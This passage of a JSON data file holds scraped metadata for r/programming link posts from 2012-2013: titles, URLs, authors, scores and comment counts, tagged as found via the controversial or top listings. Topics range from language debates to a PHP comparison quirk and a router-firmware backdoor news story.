    "kind": "link",
    "url": "https://bitbucket.org/FeministSoftwareFoundation/c-plus-equality",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1smsuj",
  "url": "http://www.sitepoint.com/three-rubyconf-surprises/",
  "permalink": "https://www.reddit.com/r/programming/comments/1smsuj/mark_asked_the_audience_to_guess_how_many_method/",
  "title": "\"Mark asked the audience to guess how many method calls we thought Rails would require to show the [hello world] page. People guessed 10,000, 20,000 or even 50,000. But no one expected the actual answer\"",
  "body": null,
  "author": "danwin",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 55,
  "createdAt": "2013-12-11T13:50:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.sitepoint.com/three-rubyconf-surprises/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qop73",
  "url": "http://stackoverflow.com/questions/4456438/how-can-i-pass-the-string-null-through-wsdl-soap-from-actionscript-3-to-a-co",
  "permalink": "https://www.reddit.com/r/programming/comments/1qop73/we_have_an_employee_whose_last_name_is_null/",
  "title": "We have an employee whose last name is Null.",
  "body": null,
  "author": "sacado",
  "subreddit": "programming",
  "score": 3374,
  "upvoteRatio": 0.94,
  "numComments": 883,
  "createdAt": "2013-11-15T11:37:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://stackoverflow.com/questions/4456438/how-can-i-pass-the-string-null-through-wsdl-soap-from-actionscript-3-to-a-co",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1plgo7",
  "url": "http://xiphmont.livejournal.com/61927.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1plgo7/mozillas_monty_we_lost_and_were_admitting_defeat/",
  "title": "Mozilla's Monty: \"We lost, and we're admitting defeat. By endorsing Cisco's plan, there's no getting around the fact that we've caved on our principles\"",
  "body": null,
  "author": "kismor",
  "subreddit": "programming",
  "score": 22,
  "upvoteRatio": 0.53,
  "numComments": 88,
  "createdAt": "2013-10-31T05:04:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://xiphmont.livejournal.com/61927.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ofbbl",
  "url": "http://www.infoworld.com/d/security/backdoor-found-in-d-link-router-firmware-code-228725",
  "permalink": "https://www.reddit.com/r/programming/comments/1ofbbl/god_dammit_joel/",
  "title": "God dammit, Joel.",
  "body": null,
  "author": "mhat",
  "subreddit": "programming",
  "score": 171,
  "upvoteRatio": 0.6,
  "numComments": 67,
  "createdAt": "2013-10-14T14:01:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.infoworld.com/d/security/backdoor-found-in-d-link-router-firmware-code-228725",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1le5en",
  "url": "http://simonask.tumblr.com/post/59763277483/why-stl-isnt-great-for-game-development",
  "permalink": "https://www.reddit.com/r/programming/comments/1le5en/why_the_stl_isnt_great_for_game_development_xcpp/",
  "title": "Why the STL isn't great for game development (x/cpp)",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 113,
  "createdAt": "2013-08-30T10:50:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://simonask.tumblr.com/post/59763277483/why-stl-isnt-great-for-game-development",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1iydil",
  "url": "http://blog.davewilkinsonii.com/posts/the-zed-shaw-phenomenon",
  "permalink": "https://www.reddit.com/r/programming/comments/1iydil/the_zed_shaw_phenomenon_a_look_at_bullies_in_tech/",
  "title": "The Zed Shaw Phenomenon: A Look at Bullies in Tech",
  "body": null,
  "author": "mutednarayan",
  "subreddit": "programming",
  "score": 54,
  "upvoteRatio": 0.56,
  "numComments": 325,
  "createdAt": "2013-07-24T13:34:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.davewilkinsonii.com/posts/the-zed-shaw-phenomenon",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ifpue",
  "url": "http://sarah.thesharps.us/2013/07/15/no-more-verbal-abuse/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ifpue/verbal_abuse_on_lkml/",
  "title": "Verbal abuse on LKML.",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.5,
  "numComments": 105,
  "createdAt": "2013-07-16T20:09:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://sarah.thesharps.us/2013/07/15/no-more-verbal-abuse/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1hob6j",
  "url": "http://movies.netflix.com/WiMovie/Revolution_OS/60025132?trkid=8133737",
  "permalink": "https://www.reddit.com/r/programming/comments/1hob6j/revolution_os_documentary_about_the_birth_of_gnu/",
  "title": "Revolution OS - Documentary about the birth of GNU, Linux & Open Source",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 19,
  "createdAt": "2013-07-05T04:48:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://movies.netflix.com/WiMovie/Revolution_OS/60025132?trkid=8133737",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1hiuz7",
  "url": "https://bugs.php.net/bug.php?id=39579",
  "permalink": "https://www.reddit.com/r/programming/comments/1hiuz7/been_working_with_php_for_5_years_or_so_and_never/",
  "title": "Been working with PHP for 5 years or so, and never ran into this issue. Coworker said \"When does (0 == 'string') ever evaluate to TRUE?\" I said, \"Never, you're doing something/testing it wrong.\" No, no he wasn't...",
  "body": null,
  "author": "pRtkL_xLr8r",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 112,
  "createdAt": "2013-07-02T21:19:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bugs.php.net/bug.php?id=39579",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1fovkg",
  "url": "http://michaelrbernste.in/2013/06/03/real-time-garbage-collection-is-real.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1fovkg/realtime_garbage_collection_is_real/",
  "title": "Real-Time Garbage Collection Is Real",
  "body": null,
  "author": "jrecursive",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.5,
  "numComments": 10,
  "createdAt": "2013-06-05T01:00:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://michaelrbernste.in/2013/06/03/real-time-garbage-collection-is-real.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1f0rij",
  "url": "http://stackoverflow.com/questions/1848029/why-not-port-linux-kernel-to-common-lisp",
  "permalink": "https://www.reddit.com/r/programming/comments/1f0rij/why_not_port_linux_kernel_to_lisp/",
  "title": "Why not port Linux kernel to lisp?",
  "body": null,
  "author": "slip_up",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 95,
  "createdAt": "2013-05-25T08:01:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://stackoverflow.com/questions/1848029/why-not-port-linux-kernel-to-common-lisp",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1d4f1l",
  "url": "http://i.imgur.com/sAnFii4.png",
  "permalink": "https://www.reddit.com/r/programming/comments/1d4f1l/an_unbelievably_dramatic_finding_reported_in_a/",
  "title": "An unbelievably dramatic finding reported in a pre-release edition of Graph Databases",
  "body": null,
  "author": "IWantUsToMerge",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 46,
  "createdAt": "2013-04-26T00:49:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://i.imgur.com/sAnFii4.png",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1c1jud",
  "url": "http://www.codeproject.com/Tips/573781/jQuery-Best-Practices",
  "permalink": "https://www.reddit.com/r/programming/comments/1c1jud/jquery_best_practices/",
  "title": "jQuery Best Practices",
  "body": null,
  "author": "RohitS5",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 28,
  "createdAt": "2013-04-10T04:21:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.codeproject.com/Tips/573781/jQuery-Best-Practices",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ayxbr",
  "url": "http://codepen.io/stuffit/pen/KrAwx",
  "permalink": "https://www.reddit.com/r/programming/comments/1ayxbr/simulating_cloth/",
  "title": "Simulating cloth",
  "body": null,
  "author": "willvarfar",
  "subreddit": "programming",
  "score": 3221,
  "upvoteRatio": 0.96,
  "numComments": 205,
  "createdAt": "2013-03-25T12:38:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://codepen.io/stuffit/pen/KrAwx",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1aq6rj",
  "url": "http://www.drurly.com/blog/2013/03/20/3-ways-to-become-a-better-developer/",
  "permalink": "https://www.reddit.com/r/programming/comments/1aq6rj/3_ways_to_become_a_better_developer/",
  "title": "3 Ways to Become a Better Developer",
  "body": null,
  "author": "drurly",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 48,
  "createdAt": "2013-03-21T11:49:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.drurly.com/blog/2013/03/20/3-ways-to-become-a-better-developer/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_19rzi3",
  "url": "http://bjk5.com/post/44698559168/breaking-down-amazons-mega-dropdown",
  "permalink": "https://www.reddit.com/r/programming/comments/19rzi3/breaking_down_amazons_mega_dropdown/",
  "title": "Breaking down Amazon's mega dropdown",
  "body": null,
  "author": "MY_POOP_HAS_HAIR",
  "subreddit": "programming",
  "score": 4011,
  "upvoteRatio": 0.96,
  "numComments": 218,
  "createdAt": "2013-03-06T14:54:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://bjk5.com/post/44698559168/breaking-down-amazons-mega-dropdown",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_17xc50",
  "url": "http://modeling-languages.com/its-time-for-teaching-history-of-programming-languages/",
  "permalink": "https://www.reddit.com/r/programming/comments/17xc50/young_cs_students_do_not_know_who_was_n_wirth_nor/",
  "title": "Young CS students do not know who was N. Wirth nor that Pascal is a prog language. It's time to teach some history of programming languages",
  "body": null,
  "author": "softmodeling",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 100,
  "createdAt": "2013-02-05T09:35:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://modeling-languages.com/its-time-for-teaching-history-of-programming-languages/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_17jwoi",
  "url": "http://7.asset.soup.io/asset/4049/7559_e892.jpeg",
  "permalink": "https://www.reddit.com/r/programming/comments/17jwoi/dialup_handshake_explained/",
  "title": "Dialup handshake explained",
  "body": null,
  "author": "dgryski",
  "subreddit": "programming",
  "score": 3482,
  "upvoteRatio": 0.95,
  "numComments": 399,
  "createdAt": "2013-01-30T08:36:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://7.asset.soup.io/asset/4049/7559_e892.jpeg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_17e343",
  "url": "http://www.theregister.co.uk/2013/01/25/arabic_programming_language/",
  "permalink": "https://www.reddit.com/r/programming/comments/17e343/قلب_alb_the_first_arabic_programming_language/",
  "title": "قلب (Alb), the first Arabic programming language, designed to look beautiful and to \"challenge traditional Euro-centric programming languages\"",
  "body": null,
  "author": "brainflakes",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.52,
  "numComments": 98,
  "createdAt": "2013-01-27T22:24:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.theregister.co.uk/2013/01/25/arabic_programming_language/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_16xlqj",
  "url": "http://cafe.elharo.com/programming/java-programming/why-functional-programming-in-java-is-dangerous/",
  "permalink": "https://www.reddit.com/r/programming/comments/16xlqj/why_functional_programming_in_java_is_dangerous/",
  "title": "Why Functional Programming in Java is Dangerous",
  "body": null,
  "author": "stesch",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 80,
  "createdAt": "2013-01-20T16:08:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://cafe.elharo.com/programming/java-programming/why-functional-programming-in-java-is-dangerous/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_16w7u8",
  "url": "http://www.the-singleton.com/2013/01/little-known-secrets-of-java-better-constants/",
  "permalink": "https://www.reddit.com/r/programming/comments/16w7u8/little_known_secrets_of_java_better_constants/",
  "title": "Little Known Secrets of Java: Better Constants ",
  "body": null,
  "author": "johnlsingleton",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 32,
  "createdAt": "2013-01-19T21:24:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.the-singleton.com/2013/01/little-known-secrets-of-java-better-constants/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_16tyro",
  "url": "http://paulspontifications.blogspot.fr/2013/01/when-haskell-is-faster-than-c.html",
  "permalink": "https://www.reddit.com/r/programming/comments/16tyro/pauls_pontifications_when_haskell_is_faster_than/",
  "title": "Paul's Pontifications: When Haskell is faster than C -- inspired by \"Pitfalls of Object Oriented Programming\"",
  "body": null,
  "author": "agumonkey",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 32,
  "createdAt": "2013-01-18T19:16:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://paulspontifications.blogspot.fr/2013/01/when-haskell-is-faster-than-c.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1623sq",
  "url": "http://ocpsoft.org/opensource/javascript-is-the-new-perl?aid=14",
  "permalink": "https://www.reddit.com/r/programming/comments/1623sq/javascript_is_the_new_perl/",
  "title": "JavaScript is the new Perl",
  "body": null,
  "author": "henk53",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.51,
  "numComments": 60,
  "createdAt": "2013-01-06T12:11:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://ocpsoft.org/opensource/javascript-is-the-new-perl?aid=14",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_14wk9o",
  "url": "http://boronine.com/2012/12/14/Why-JavaScript-Still-Sucks/",
  "permalink": "https://www.reddit.com/r/programming/comments/14wk9o/why_javascript_still_sucks/",
  "title": "Why JavaScript Still Sucks",
  "body": null,
  "author": "boronine",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.51,
  "numComments": 212,
  "createdAt": "2012-12-15T18:55:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://boronine.com/2012/12/14/Why-JavaScript-Still-Sucks/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_13hwai",
  "url": "http://www.drdobbs.com/jvm/a-long-look-at-jvm-languages/240007765",
  "permalink": "https://www.reddit.com/r/programming/comments/13hwai/a_long_look_at_jvm_languages/",
  "title": "A Long Look at JVM Languages",
  "body": null,
  "author": "NotEltonJohn",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 12,
  "createdAt": "2012-11-20T06:08:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.drdobbs.com/jvm/a-long-look-at-jvm-languages/240007765",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_zle0h",
  "url": "http://dev.hasenj.org/post/31042963934/nodejs-hate",
  "permalink": "https://www.reddit.com/r/programming/comments/zle0h/why_i_think_nodejs_is_a_terrible_platform/",
  "title": "Why I think Node.JS is a terrible platform",
  "body": null,
  "author": "cetamega",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.53,
  "numComments": 122,
  "createdAt": "2012-09-09T07:03:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://dev.hasenj.org/post/31042963934/nodejs-hate",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_y6y57",
  "url": "http://www.imatix.com/articles:crossroads-fork",
  "permalink": "https://www.reddit.com/r/programming/comments/y6y57/what_was_wrong_with_zeromq_and_how_we_fixed_it/",
  "title": "What was wrong with ZeroMQ (and how we fixed it)",
  "body": null,
  "author": "anyhoo",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 25,
  "createdAt": "2012-08-14T07:34:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.imatix.com/articles:crossroads-fork",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_wv68m",
  "url": "http://live.wsj.com/video/young-scientist-builds-a-better-search-engine/6F3049AB-61FE-4CEA-8972-45EFA94FFF27.html?mod=wsj_article_tboright#!6F3049AB-61FE-4CEA-8972-45EFA94FFF27",
  "permalink": "https://www.reddit.com/r/programming/comments/wv68m/17_year_old_builds_a_better_search_engine/",
  "title": "17 Year Old Builds a Better Search Engine",
  "body": null,
  "author": "swizec",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.52,
  "numComments": 65,
  "createdAt": "2012-07-20T08:56:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://live.wsj.com/video/young-scientist-builds-a-better-search-engine/6F3049AB-61FE-4CEA-8972-45EFA94FFF27.html?mod=wsj_article_tboright#!6F3049AB-61FE-4CEA-8972-45EFA94FFF27",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_wkxhp",
  "url": "http://1337day.com/exploits/18984",
  "permalink": "https://www.reddit.com/r/programming/comments/wkxhp/zero_day_javascript_exploit_found_that_affects/",
  "title": "Zero Day JavaScript exploit found that affects Core 2 Duo and Intel Atom processors",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.51,
  "numComments": 43,
  "createdAt": "2012-07-15T04:46:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://1337day.com/exploits/18984",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_v6brk",
  "url": "http://www.youtube.com/watch?v=MShbP3OpASA&feature=youtu.be&t=49m45s",
  "permalink": "https://www.reddit.com/r/programming/comments/v6brk/linus_to_nvidia_fuck_you/",
  "title": "Linus to Nvidia: \"Fuck You\"",
  "body": null,
  "author": "VilleHopfield",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.51,
  "numComments": 23,
  "createdAt": "2012-06-17T11:24:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.youtube.com/watch?v=MShbP3OpASA&feature=youtu.be&t=49m45s",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_v2dos",
  "url": "http://blogs.adobe.com/bparadie/2012/05/07/the-pew-pew-manifesto/",
  "permalink": "https://www.reddit.com/r/programming/comments/v2dos/javascript_is_not_suitable_for_large_web_apps/",
  "title": "JavaScript is not suitable for large web apps.",
  "body": null,
  "author": "mobby1982",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 131,
  "createdAt": "2012-06-14T21:55:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blogs.adobe.com/bparadie/2012/05/07/the-pew-pew-manifesto/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_uvu5e",
  "url": "http://mortoray.com/2012/06/11/whats-to-love-about-c/",
  "permalink": "https://www.reddit.com/r/programming/comments/uvu5e/whats_to_love_about_c/",
  "title": "What's to love about C?",
  "body": null,
  "author": "mortoray",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.52,
  "numComments": 99,
  "createdAt": "2012-06-11T07:14:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://mortoray.com/2012/06/11/whats-to-love-about-c/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_sc2a7",
  "url": "http://programmersbraindump.blogspot.com/2012/04/quick-google-app-engine-rsa-benchmark.html",
  "permalink": "https://www.reddit.com/r/programming/comments/sc2a7/google_app_engine_cpu_hours_very_expensive/",
  "title": "Google App Engine: CPU hours very expensive according to RSA benchmark",
  "body": null,
  "author": "Hermel",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 31,
  "createdAt": "2012-04-16T06:53:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://programmersbraindump.blogspot.com/2012/04/quick-google-app-engine-rsa-benchmark.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_rcixz",
  "url": "http://www.zeldman.com/2012/03/23/why-i-am-letting-my-google-io-invitation-expire/",
  "permalink": "https://www.reddit.com/r/programming/comments/rcixz/why_i_am_letting_my_google_io_invitation_expire/",
  "title": "Why I am letting my Google IO invitation expire",
  "body": null,
  "author": "alphabeat",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 48,
  "createdAt": "2012-03-25T09:02:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.zeldman.com/2012/03/23/why-i-am-letting-my-google-io-invitation-expire/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_r9y4q",
  "url": "http://stackoverflow.com/questions/2533908/basic-framework-for-presentations-using-html5-javascript",
  "permalink": "https://www.reddit.com/r/programming/comments/r9y4q/when_your_best_questions_get_closed_as_not/",
  "title": "When your best questions get closed as \"not constructive\", you have a moderation problem",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 84,
  "createdAt": "2012-03-23T13:53:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://stackoverflow.com/questions/2533908/basic-framework-for-presentations-using-html5-javascript",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_r0trm",
  "url": "https://tyler.menez.es/articles/i-will-not-learn-rails.html",
  "permalink": "https://www.reddit.com/r/programming/comments/r0trm/i_will_not_learn_rails/",
  "title": "I Will Not Learn Rails",
  "body": null,
  "author": "shoebane",
  "subreddit": "programming",
  "score": 81,
  "upvoteRatio": 0.57,
  "numComments": 272,
  "createdAt": "2012-03-17T14:49:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tyler.menez.es/articles/i-will-not-learn-rails.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_oz2wt",
  "url": "http://rdf.ookaboo.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/oz2wt/image_search_breakthrough_1000000_images/",
  "title": "Image Search Breakthrough: 1,000,000 images classified with 0.98+ accuracy",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 25,
  "createdAt": "2012-01-27T13:19:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://rdf.ookaboo.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_oo4wz",
  "url": "http://danielmiessler.com/blog/20-pieces-of-programming-wisdom",
  "permalink": "https://www.reddit.com/r/programming/comments/oo4wz/20_pieces_of_programming_wisdom/",
  "title": "20 Pieces of Programming Wisdom",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.54,
  "numComments": 24,
